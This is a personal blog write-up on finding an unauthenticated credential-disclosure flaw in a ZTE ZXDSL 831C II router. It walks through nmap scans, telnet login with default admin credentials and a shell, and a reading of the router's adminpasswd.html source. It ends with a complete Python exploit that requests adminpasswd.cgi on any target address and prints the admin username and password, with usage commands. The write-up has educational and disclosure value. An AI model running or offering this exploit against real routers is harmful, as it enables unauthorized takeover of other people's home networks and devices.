Contents

How I hacked my first router

How I Hacked My First Router

I have never found a real vulnerability in the “real world” before. I was just playing CTFs and Wargames. One day I was looking through our old stuff, and I stumbled up on this router the ZTE - ZXDSL 831C II, and had heard before that this router has a vulnerability. So I thought this would be the perfect chance. I set it up and started pwning.

Scannig with Nmap

Once every hacker is on a network, it’s obvious what they do, they always run nmap. Let’s run nmap scan on the router and save the result to a file. We will perform a service scan, and also run the default scripts. Will use sudo to make nmap go faster.

1
sudo nmap -sC -sV -oA router.txt 192.168.1.1

While we check for the result it’s a good idea to run another scan of all ports.

1
sudo nmap -sC -sV -p- -oA router_allports.txt 192.168.1.1

Let’s inspect the output of the first command.

Results

The result of the first nmap scan looks like this.

Nmap Scan

Port 80

In the scan we can see that there are some ports open. Let’s inspect port 80 first.

Login Page

It appears to be a web interface. The defualt username and password is admin, put that in and you will get this. Now my target shifted to being able to gain the source code of this web application.

Web Interface

We will use the managemnt tab to change the username and password to demonstrate the attack.

Port 23

If we go back to our nmap scan we see that there is a port 23 open which is telnet, and uses the same username and password as the web application. We can use the following command to login.

1
telnet 192.168.1.1 23

telnet

After logging in you can issue some command to manage the router, and if you type in help you will get a list of commands you can use. I was interested in the sh command which will give you a linux shell.

After getting a shell I immediately run the ls command to see what’s there.

ls

This is a listing of the root directory. The directory I was particularly interested in was the webs directory. I went into the webs directory and searched for any file which contains the passwd word in it and I found two.

passwd

You can cat the contents of any file in this directory.

Finding The Vulnerability

I was interested in the contents of the adminpasswd.html. Here is the source code.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<html>
<head>
        <meta HTTP-EQUIV='Pragma' CONTENT='no-cache'>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
        <link rel="stylesheet" href='stylemain.css' type='text/css'>
        <link rel="stylesheet" href='colors.css' type='text/css'>
        <script language="javascript" src="util.js"></script>
        <script language="javascript" >
<!-- hide

nameAdmin = '<%ejGet(sysUserName)%>';
pwdAdmin = '<%ejGet(sysPassword)%>';

function frmLoad()
{
    with ( document.forms[0] )
    {
        sysUserName.value = nameAdmin;
        sysPassword.value = pwdAdmin;
        cfmPwd.value = pwdAdmin;
    }
}

function btnApplyAdmin()
{
    var loc = 'adminpasswd.cgi?action=save&';
    with ( document.forms[0] )
    {
        if(sysUserName.value ==  '<%ejGet(usrUserName)%>')
        {
            alert("Don't make such names!Please change it!\n ");
            return;
        }
                
                        if ( isIncludeInvalidChar(sysUserName.value) ) 
                {
                 alert('Invalide characters in user name.');
                 return;
            }

                if ( isIncludeInvalidChar(sysPassword.value) ) 
                {
                 alert('Invalide characters in password.');
                 return;
            }

        if ( sysUserName.value.length == 0 ) 
        {
             alert('Admin Account and Password can\'t be empty.');
             return;
        }        
        if ( sysUserName.value.indexOf(' ') != -1 ) 
        {
             alert('Admin Accout can\'t contain a space.');
             return;
        }
        if ( sysPassword.value.indexOf(' ') != -1 ) 
        {
            alert('Password can\'t contain a space.');
            return;
        }
        if ( sysUserName.value.length > 15 )
        {
            alert( 'Admin  Account  should not be longer the 15 characters!' );
            return;
        }
        if ( sysPassword.value.length > 32 )
        {
            alert ('Password should not be longer than 32 characters.');
            return;
        }
        if ( sysPassword.value != cfmPwd.value )
        {
            alert("The passwords do not match.");
            return;
        }
        if ( sysPassword.value.length == 0 ) 
        {
             alert('Admin Accout and Password cannot be empty.');
             return;
        }
        loc += 'sysUserName=' + encodeUrl(sysUserName.value) + '&';
        loc += 'sysPassword=' + encryptPassword(encodeUrl(sysPassword.value)); //lvwz
        
        var code = 'location.assign("' + loc + '")';
        eval(code);
        
    }
}


-->
        </script>
</head>

<body onLoad='frmLoad()'>
<form>
<strong>Admin Account</strong> <BR>
<BR>
<TABLE cellSpacing="0" cellPadding="0" border="0">
  <TBODY>
    <TR>
      <TD width="590">Admin account has unrestricted access to change and view configuration of your ADSL<br> router. </TD>
    </TR>
  </TBODY>
</TABLE>
<BR>
<TABLE cellSpacing="0" cellPadding="0" border="0">
  <TBODY>
    <TR height="30">
      <TD width="150">User Name:</TD>
      <TD><INPUT maxLength="63"  size="30"   name="sysUserName"></TD>
    </TR>
    <TR height="30">
      <TD>New Password:</TD>
      <TD><INPUT type="password" maxLength="32" size="30"  name="sysPassword"></TD>
    </TR>
    <TR height="30">
      <TD>Confirm New Password:</TD>
      <TD><INPUT type="password" maxLength="32" size="30"  name="cfmPwd"></TD>
    </TR>
  </TBODY>
</TABLE>
<BR>
<TABLE width="500" border="0">
  <TBODY>
    <TR>
      <TD align="left" width="494"><INPUT name="button" type="button" onClick="btnApplyAdmin()" value="Apply">
      </TD>
    </TR>
  </TBODY>
</TABLE>
</form>
</body>
</html>

This is the page used by the router to change the username and password to access the router. The one I showed you earlier.

You might ask “couldn’t you just inspect the elements, while you were authenticated, and get the source code ?”. That would be a valid question, and my answer would be “because I’m an idot, and I prefer doing stuff the hard way”.

Anyways if you try to access this site without creds, you would get access denied.

Take note here though, On lines 11 , and 12 The page stores two variables called nameAdmin, and pwdAdmin, which are populated by the cgi script by the looks of <%ejGet(sysUserName)%>.

On line 26 you would see where this page submits the creds to. It submits them to adminpasswd.cgi. After searching a lot for the source code of this cgi script, I couldn’t find it anywhere, and I was avoiding googing for it, because I was afraid of spoilers.

Finally I decided to visit the cgi script directly. I was shocked, I thought maybe the cookies from my earlier authentication might have had an effect. So I opened a new browser (qutebrowser), try again, and boom no need to authenticate to access this page.

Accessing the cgi script

We can change the username, and password, and access the page boom hacked, but wait there is more

If you’re curious enough you wouldn’t stop there you would dig for more. So let’s dig some more.

Obviously any site asks for the old password to check if you are who you say you are. This page does the checking on the client side, in the open. Which means you can just snatch the username and password.

Inspecting the page

I wrote a script to do just that.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python

# This script extracts the Username and Password of the `ZTE - ZXDSL 831C II` 
# modem. 

# This script can only be used on a system you have the authority to 
# execute such scripts on. If you did this attack on a system you don't 
# have authority on I'm not held responsible. Do so on your own risk.

# author: Omer Abdulaziz
# email: omerabdi@pm.me

import requests
import sys
import re

host = "192.168.1.1"

try:
    host = sys.argv[1]
except:
    pass

try:
    print(f"[*] Attacking {host} ...")
    response = requests.get(f"http://{host}/adminpasswd.cgi")
except:
    print("[!] Network error")
    sys.exit(2)

if response.status_code == 200:
    userna = re.search("nameAdmin = '.*'", response.text).group().split("'")[1]
    passwd = re.search("pwdAdmin = '.*'", response.text).group().split("'")[1]

    print(f"[=] Username: {userna}")
    print(f"[=] Password: {passwd}")
    sys.exit()

else:
    print("[!] It appears the target is not vulnerable")
    sys.exit(1)

Running the script. The script runs on the 192.168.1.1 target by default, but you can change by supplying the target of your choice.

1
2
3
4
python exp.py

# or give it any other target
python exp.py 10.0.0.1

Running the exploit

Inspired by malwaretech’s “How I Found My First Ever ZeroDay (in RDP)” post.